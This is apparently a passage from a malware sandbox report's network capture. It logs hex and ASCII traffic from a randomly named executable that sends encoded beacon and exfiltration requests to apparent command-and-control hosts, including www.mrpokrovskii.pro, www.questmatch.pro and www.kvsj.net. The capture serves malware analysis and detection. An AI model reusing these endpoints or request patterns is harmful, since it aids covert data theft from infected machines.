Raw: 62 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e 4d 0a c2 30 14 06 af 12 be 75 4b 2b 8d d5 e6 00 82 9b 2a d8 9d b8 c8 cf 8b 8a 31 0f d2 14 14 e9 dd a5 74 3d c3 30 3f 18 76 5f a8 38 85 50 80 52 e2 34 42 fd 60 d9 11 94 ac 65 81 a8 df 04 85 9e b3 38 f0 14 1d 0a 38 ca fa 19 46 Data Ascii: b5$M0uK+*1t=0?v_8PR4B`e88F
Dec 12, 2024 10:20:38.560585976 CET	101	IN	Data Raw: a8 2b 7a 16 0f 1d 5d a0 24 fc 42 85 e7 24 ce a7 cb 20 aa cd f7 63 2b dc e6 c5 37 d3 fd 18 3d af e9 94 28 e8 fc e4 78 74 50 d8 5a 67 f7 ae f6 25 b5 7b 5d 4a bf d9 95 9d 91 b2 f4 5d d7 b4 9a 6c 63 ea 06 05 c6 ac ed 6b 48 da d2 7a 3b cf 7f 00 00 00 Data Ascii: +z]$B$ c+7=(xtPZg%{]J]lckHz;DV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49170	188.114.97.6	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:40.044104099 CET	543	OUT	GET /1yxc/?x4=sNv20zOiDYMkOMIZUAMTdfOFf2lUUMo2G3KMZ1n3ZrvJqNyjokS5weFlZhKtUuMXj8jBQ4ipfeoXnmxfx9jFO8nPHTBXwG0erHwEdD0EmkjwsdzIUyNTuEGbdIq/&e2E=wRQ8oHXx HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:20:41.230292082 CET	1236	IN	HTTP/1.1 404 Date: Thu, 12 Dec 2024 09:20:41 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 78068bbf-3dab-4d17-b579-445b85c3861f X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.175 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v5besRcxkG6ivF0dRpiwlkdT3yE7PIvIFJJt3qrLXyicQEqcXXnfz6go%2FhbosMrgJDK0pfbOf22b3dE4x8J4hyz7c4q4O04if2fvLznkhWRWQjUP6zB%2B%2FwXYt%2F4OFWrLKnHGXG4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca3cf8d030cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1596&rtt_var=798&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=543&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 62 0d 0a 7b 22 62 6f 64 79 22 3a 6e 75 6c 6c 2c 22 65 72 72 6f 72 73 22 3a 7b 22 63 6f 64 65 22 3a 34 30 34 2c 22 6e 61 6d 65 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 64 65 74 61 69 6c 73 22 3a 5b 22 4e 6f 20 68 61 6e 64 6c 65 72 20 66 6f 75 6e 64 20 66 6f 72 20 47 45 54 20 2f 31 79 78 63 2f 22 5d 7d 2c 22 64 65 62 75 67 Data Ascii: bb{"body":null,"errors":{"code":404,"name":"Not Found","details":["No handler found for GET /1yxc/"]},"debug
Dec 12, 2024 10:20:41.230309963 CET	88	IN	Data Raw: 49 6e 66 6f 22 3a 7b 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 37 38 30 36 38 62 62 66 2d 33 64 61 62 2d 34 64 31 37 2d 62 35 37 39 2d 34 34 35 62 38 35 63 33 38 36 31 66 22 2c 22 73 74 61 63 6b 54 72 61 63 65 22 3a 6e 75 6c 6c 7d 7d 0d Data Ascii: Info":{"correlationId":"78068bbf-3dab-4d17-b579-445b85c3861f","stackTrace":null}}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49171	85.25.177.138	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:47.008343935 CET	2472	OUT	POST /7mvy/ HTTP/1.1 Host: www.mrpokrovskii.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.mrpokrovskii.pro Referer: http://www.mrpokrovskii.pro/7mvy/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 34 7a 30 6a 6f 73 67 30 67 51 51 39 57 57 51 65 49 4c 65 62 73 57 42 50 72 30 42 4d 63 67 75 48 35 4b 65 4d 76 4b 43 65 7a 76 2f 7a 6c 6d 46 56 45 58 57 54 65 47 48 73 7a 66 51 39 44 32 47 76 2b 62 37 78 58 2b 54 31 5a 46 38 57 36 41 47 69 57 48 58 57 44 33 6d 6c 7a 41 55 67 79 50 2b 58 75 33 31 63 71 71 7a 52 6c 6f 59 43 6b 47 43 32 74 4a 77 67 61 38 66 51 34 61 6b 61 48 77 75 78 7a 48 72 5a 47 57 6a 6a 31 73 6a 50 68 73 4d 37 75 5a 66 4f 51 4d 4d 35 32 52 65 55 63 63 79 6e 33 6d 39 56 78 32 36 4f 4e 48 6b 54 68 65 46 6c 41 4b 45 36 4b 71 4c 47 56 56 71 41 5a 4f 5a 73 63 50 34 4d 2f 6c 4f 41 42 45 44 66 33 7a 6e 6e 74 4e 6e 4b 33 46 41 77 46 38 7a 68 61 2b 75 38 6f 78 45 39 70 46 77 6e 61 6e 5a 2f 6c 63 31 46 32 77 36 6f 45 76 71 4e 6d 57 4f 7a 6d 30 78 36 33 4f 45 2b 6a 51 39 64 75 73 39 6e 6b 57 74 64 55 2b 4c 43 46 38 55 76 70 31 58 61 54 75 43 38 33 77 4d 6d 79 32 79 50 6c 4d 4e 34 4a 65 79 32 58 79 37 48 62 7a 57 6d 69 35 55 62 32 74 34 74 4d 54 69 34 38 73 73 36 52 2f 2f 38 43 6b [TRUNCATED] Data Ascii: x4=s4z0josg0gQQ9WWQeILebsWBPr0BMcguH5KeMvKCezv/zlmFVEXWTeGHszfQ9D2Gv+b7xX+T1ZF8W6AGiWHXWD3mlzAUgyP+Xu31cqqzRloYCkGC2tJwga8fQ4akaHwuxzHrZGWjj1sjPhsM7uZfOQMM52ReUccyn3m9Vx26ONHkTheFlAKE6KqLGVVqAZOZscP4M/lOABEDf3znntNnK3FAwF8zha+u8oxE9pFwnanZ/lc1F2w6oEvqNmWOzm0x63OE+jQ9dus9nkWtdU+LCF8Uvp1XaTuC83wMmy2yPlMN4Jey2Xy7HbzWmi5Ub2t4tMTi48ss6R//8Ckk5yUXop1C1xyfks6wzgcXR9r/KIwZP2UMa1yVh7fA7KJGzU1AV7v8tn6vcPhHsoSISQb0+j3495Ij710Evm6pU2QwuLd9NDYxYdZ+xeir9dpoXyuF5wmadSqOhootEzpooZY+n+l1B02c8urrDYqE1L/duV1nyZwEVuUyeDPI7Ojjzc23TjgRH1tFoUznvTsFVYM1TQHGsYBFjI8GuduXnJmFZ+DuSPWhwGS97uZKyH+O8jST+WakQ57LLDdFFrIJUTLrUcfGo0Em/SXc3D4gcJvZ8t3hiDGrtU/Vq51BH6uisTq276SD3gnPaJDAQYcXTbJdFhHJ233uBPO3oMZWZUVERk8jF2jAZLGdtpszKsvhiNHtXKlpwruHdI7oDDPO1Px6rFxY1gFSzJSVH6kFXmg20bnHneGdF8i4Wh3sobH+QcXvNryfZDB9mWYb0GTojUfjjSmtuZUwqWoNgFbGdpgIs+I69VtWhYNYqjdohrzrS/qR7WCOOUFr3aAuMaJhhu7NZUzEnto39tMBhRJdBF8G43wg/uyhNoWRykfyFt/i2ujGWY+bGOGaNmIlUQDBuuNrFrS5oiARS3ZnVEBJX0dOe3ONCgKzWnnx22fhh3A27kL1GGa7kghBR2L/VH/jB9uuYHnAAnoDhjFmFtvGVWaPuxO7+5nlr [TRUNCATED]
Dec 12, 2024 10:20:47.127778053 CET	306	OUT	Data Raw: 44 48 38 4b 35 41 32 72 77 57 6f 2b 32 35 73 65 77 67 77 4c 63 4c 67 64 4c 43 41 59 5a 42 32 34 75 34 64 71 6d 6c 4f 48 34 45 2f 70 6b 66 35 75 38 69 64 41 36 58 4f 36 7a 2b 53 69 78 77 51 30 79 68 55 78 2f 45 4b 37 2f 51 4d 2b 45 6d 74 6b 4e 4a Data Ascii: DH8K5A2rwWo+25sewgwLcLgdLCAYZB24u4dqmlOH4E/pkf5u8idA6XO6z+SixwQ0yhUx/EK7/QM+EmtkNJlIHhVJyfgcL1ZQJvLPZUXVFEsKhov8mBOZ+aKJbS+ayRujBMVo7sj+fRZRAfI56C3bu1eg1DGOwtnnaVdhAPSUxRR3uJdELpaJCE7+65pBVCDTiCB/RtbpRuZG8o3smePSFIWuGoZsp5IiSFjL9YYH3L8s8P1Gag/
Dec 12, 2024 10:20:48.270581007 CET	462	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 12 Dec 2024 09:20:48 GMT Server: Apache/2 Location: https://www.mrpokrovskii.pro/7mvy/ Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 72 70 6f 6b 72 6f 76 73 6b 69 69 2e 70 72 6f 2f 37 6d 76 79 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.mrpokrovskii.pro/7mvy/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49172	85.25.177.138	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:49.667020082 CET	817	OUT	POST /7mvy/ HTTP/1.1 Host: www.mrpokrovskii.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.mrpokrovskii.pro Referer: http://www.mrpokrovskii.pro/7mvy/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 34 7a 30 6a 6f 73 67 30 67 51 51 39 55 2b 51 66 5a 4c 65 5a 4d 57 42 4b 72 30 42 62 4d 67 30 48 35 57 4a 4d 75 65 72 5a 45 7a 2f 30 77 69 46 56 33 2f 57 55 65 47 41 6d 54 66 71 77 6a 32 54 76 2b 62 42 78 57 43 54 31 5a 35 38 57 59 6f 47 79 58 48 55 4c 44 33 67 6f 54 41 52 67 79 44 4e 58 75 37 62 63 72 65 7a 52 67 67 59 4e 45 57 43 67 2f 68 77 6c 71 38 56 41 34 62 79 61 47 4d 37 78 7a 58 30 5a 46 43 6a 6a 48 49 6a 50 30 51 4d 2f 35 4e 66 46 77 4d 42 77 57 52 4b 45 74 6c 5a 74 6d 4b 31 58 41 71 7a 57 4e 48 34 54 6d 50 45 72 7a 69 64 78 49 32 36 4a 54 35 39 43 36 66 39 32 77 3d 3d Data Ascii: x4=s4z0josg0gQQ9U+QfZLeZMWBKr0BbMg0H5WJMuerZEz/0wiFV3/WUeGAmTfqwj2Tv+bBxWCT1Z58WYoGyXHULD3goTARgyDNXu7bcrezRggYNEWCg/hwlq8VA4byaGM7xzX0ZFCjjHIjP0QM/5NfFwMBwWRKEtlZtmK1XAqzWNH4TmPErzidxI26JT59C6f92w==
Dec 12, 2024 10:20:50.939935923 CET	462	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 12 Dec 2024 09:20:50 GMT Server: Apache/2 Location: https://www.mrpokrovskii.pro/7mvy/ Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 72 70 6f 6b 72 6f 76 73 6b 69 69 2e 70 72 6f 2f 37 6d 76 79 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.mrpokrovskii.pro/7mvy/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49173	85.25.177.138	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:52.320725918 CET	2472	OUT	POST /7mvy/ HTTP/1.1 Host: www.mrpokrovskii.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.mrpokrovskii.pro Referer: http://www.mrpokrovskii.pro/7mvy/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 34 7a 30 6a 6f 73 67 30 67 51 51 6e 31 4f 51 65 2b 66 65 65 73 57 47 58 62 30 42 4d 63 67 6f 48 35 4b 4a 4d 76 4b 43 65 32 66 2f 7a 6e 75 46 53 55 58 57 53 65 47 41 71 44 66 51 39 44 32 5a 76 36 7a 72 78 58 79 74 31 66 4a 38 57 37 41 47 69 56 66 58 65 6a 33 6d 73 54 41 57 67 79 43 58 58 75 72 66 63 71 50 6b 52 67 6f 59 4e 32 2b 43 33 66 68 7a 71 4b 38 56 41 34 62 6d 61 47 4d 58 78 7a 4f 7a 5a 45 62 6b 6a 32 59 6a 4f 52 73 4d 7a 2b 5a 59 44 77 4d 4e 7a 57 52 59 55 64 67 44 6e 33 6d 35 56 78 53 44 4f 4e 62 6b 54 33 69 46 6c 44 69 48 31 36 71 49 43 56 56 71 4f 35 4f 68 73 63 50 30 4d 2f 6c 4f 41 42 49 44 4e 33 7a 6e 6e 6f 35 6b 4f 33 46 41 73 31 38 30 75 36 7a 58 38 73 5a 6d 39 71 63 4e 6b 73 72 5a 74 57 30 31 58 57 77 36 74 30 76 57 4e 6d 57 44 36 47 30 74 36 30 2b 71 2b 6a 42 36 64 75 73 39 6e 6d 75 74 59 47 57 4c 55 46 38 55 6e 4a 31 57 56 7a 75 46 38 33 30 75 6d 7a 53 79 50 68 41 4e 35 2b 61 79 6e 43 6d 36 66 37 7a 58 74 43 35 57 4e 32 74 49 74 49 79 4e 34 38 30 47 36 52 76 2f 38 41 4d [TRUNCATED] Data Ascii: x4=s4z0josg0gQQn1OQe+feesWGXb0BMcgoH5KJMvKCe2f/znuFSUXWSeGAqDfQ9D2Zv6zrxXyt1fJ8W7AGiVfXej3msTAWgyCXXurfcqPkRgoYN2+C3fhzqK8VA4bmaGMXxzOzZEbkj2YjORsMz+ZYDwMNzWRYUdgDn3m5VxSDONbkT3iFlDiH16qICVVqO5OhscP0M/lOABIDN3znno5kO3FAs180u6zX8sZm9qcNksrZtW01XWw6t0vWNmWD6G0t60+q+jB6dus9nmutYGWLUF8UnJ1WVzuF830umzSyPhAN5+aynCm6f7zXtC5WN2tItIyN480G6Rv/8AMk1zUXoZ1N8RzWgsG8zgU9R9+CKOoZOnUMSXqWtrfCtaIL501MV77Wtj6vc+5H+cmIVjz34T3/wZI0wV1FvlHpUyUgv6N9MzYxZ+999uiuntp+dSuX5wnpdXmwhdktEzZotbw+n+lyNU2S3Om8DYuA1LTzuWtnxKoEVvUyZjPIyujkkM3ITj0nH3snonPnvxkFXbk1SwHEuYBE+48huZCXnMfdZ9DuTqihynS9zOZO/n/U8jSI+WOoQ5rbLB5FFpwJDGnrWsfHq0Eq7SXv3DwwcISR8s/hjjmr2GbVrZ1DOauimzqQ76b43hK0aLjAQpMXCrJCNBHK033pFPPooMJWZURERlIjFFLAe8SduZsxOsvSot68XK1lwpCxdK/oRCPOlcJ53Fxk+AETi5SuH6kZXkBz3qHH+umdVti/XB33+rHle8XPNrC5ZGptnnUb0FLogiLjjimtuZU3qWoJgFX4dtkus+I6v0tWhuhYyTdtsLy5YfrC7W3vOUNF3a8uNIRhhu7OWEzHldow9tBjhRJjBFwG5E8g+86hNLyRwEfyVd/j/OjSWY+yGL2wNnIlWgjBiIhqO7S4qiAHbWlOVEccX2xOfAONC12zXXnxpmfmunAj/kXXGGXskl8aRlD/Uw7jH6ytXXndEnoBhjIQFtXwVWDtuwW7+Znln [TRUNCATED]
Dec 12, 2024 10:20:52.440634012 CET	1770	OUT	Data Raw: 44 71 79 71 34 53 32 72 78 56 6f 2f 32 51 73 63 45 67 77 4c 38 4c 67 38 4c 43 41 34 5a 47 70 6f 75 68 64 71 6d 2f 4f 48 67 69 2f 70 34 50 35 6f 41 69 65 69 43 58 50 72 7a 2b 4d 43 78 79 51 30 7a 67 51 78 7a 4c 4b 37 2f 79 4d 2f 77 6d 74 6b 39 4a Data Ascii: Dqyq4S2rxVo/2QscEgwL8Lg8LCA4ZGpouhdqm/OHgi/p4P5oAieiCXPrz+MCxyQ0zgQxzLK7/yM/wmtk9JlPzhVZyeisKSDAJiFfZYXVE/sOsFv/KBPLGacobS+qz7gDAWDYHAj+TnZTZqIM2C2oW1bTNDBuwsqHa9dhEnSUA6Rzric1Hpb5CEt8i6/xVAVDjAB/RRbpZiZHRv3ouePRtIXeGnR8owFCSfjLwMYH/p8vEP1G2g+
Dec 12, 2024 10:20:53.691487074 CET	462	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 12 Dec 2024 09:20:53 GMT Server: Apache/2 Location: https://www.mrpokrovskii.pro/7mvy/ Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 72 70 6f 6b 72 6f 76 73 6b 69 69 2e 70 72 6f 2f 37 6d 76 79 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.mrpokrovskii.pro/7mvy/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49174	85.25.177.138	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:20:54.975557089 CET	545	OUT	GET /7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx HTTP/1.1 Host: www.mrpokrovskii.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:20:56.247915983 CET	748	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 12 Dec 2024 09:20:56 GMT Server: Apache/2 Location: https://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx Content-Length: 387 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 72 70 6f 6b 72 6f 76 73 6b 69 69 2e 70 72 6f 2f 37 6d 76 79 2f 3f 78 34 3d 68 36 62 55 67 59 4d 35 6f 51 49 6f 6d 33 53 45 4c 65 43 68 56 4f 57 68 49 39 56 57 50 5a 67 33 42 4b 69 43 48 2b 53 61 5a 45 71 50 7a 51 6d 37 64 45 47 63 53 76 61 42 6a 53 7a 34 34 54 6e 2b 67 4c 7a 6a 67 33 4b 6b 6f 75 5a 66 51 72 30 4b 6c 58 65 43 51 44 37 42 6f 68 51 72 6a 6a 4c 6f 52 74 33 54 55 76 6a 7a 48 53 55 4c 4a 44 62 79 6e 75 56 6d 6f 72 73 67 57 63 4b [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49175	173.236.199.97	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:29.188191891 CET	2472	OUT	POST /zu0o/ HTTP/1.1 Host: www.kvsj.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.kvsj.net Referer: http://www.kvsj.net/zu0o/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 57 38 37 59 65 42 75 63 47 78 77 4e 45 66 59 6f 35 50 65 73 74 50 32 33 48 6f 63 64 75 42 35 62 66 4e 77 2f 6e 61 73 75 78 37 48 47 4f 36 46 54 52 66 6e 69 35 72 44 31 69 74 35 63 38 43 41 31 43 75 69 56 4f 4a 4f 77 4d 54 79 48 5a 53 38 41 62 4b 4a 61 4e 39 51 62 5a 6c 36 45 33 30 6a 6c 55 61 78 4d 79 68 62 58 4e 49 41 7a 49 6f 4f 64 2b 75 38 41 2f 71 6e 31 69 47 73 70 72 41 69 48 39 75 47 54 79 36 6a 45 61 53 49 54 55 4e 76 43 49 61 48 4a 57 6b 64 76 43 72 68 4c 67 33 44 69 75 5a 56 6f 38 4a 67 4e 64 78 35 43 4e 48 49 39 2f 32 52 6f 58 47 33 4f 4c 55 32 38 76 31 50 48 61 44 67 4f 41 54 71 59 45 78 6b 51 69 4b 77 4a 6b 4d 49 70 37 6c 55 75 44 56 30 30 64 78 67 54 42 59 50 52 5a 39 65 6d 66 38 72 64 78 59 37 6a 46 74 35 41 4c 44 48 77 37 6a 71 6b 39 70 44 45 55 77 50 6e 62 55 34 64 6b 2f 51 49 50 4c 54 72 39 6c 67 5a 71 36 50 63 73 78 37 45 59 4b 37 58 55 77 4d 57 65 72 47 4a 52 73 56 51 58 4b 34 4d 51 76 73 39 77 39 4a 64 52 52 49 66 72 6d 6d 62 7a 73 6e 36 38 49 79 47 4a 44 41 4a 32 4c 65 [TRUNCATED] Data Ascii: 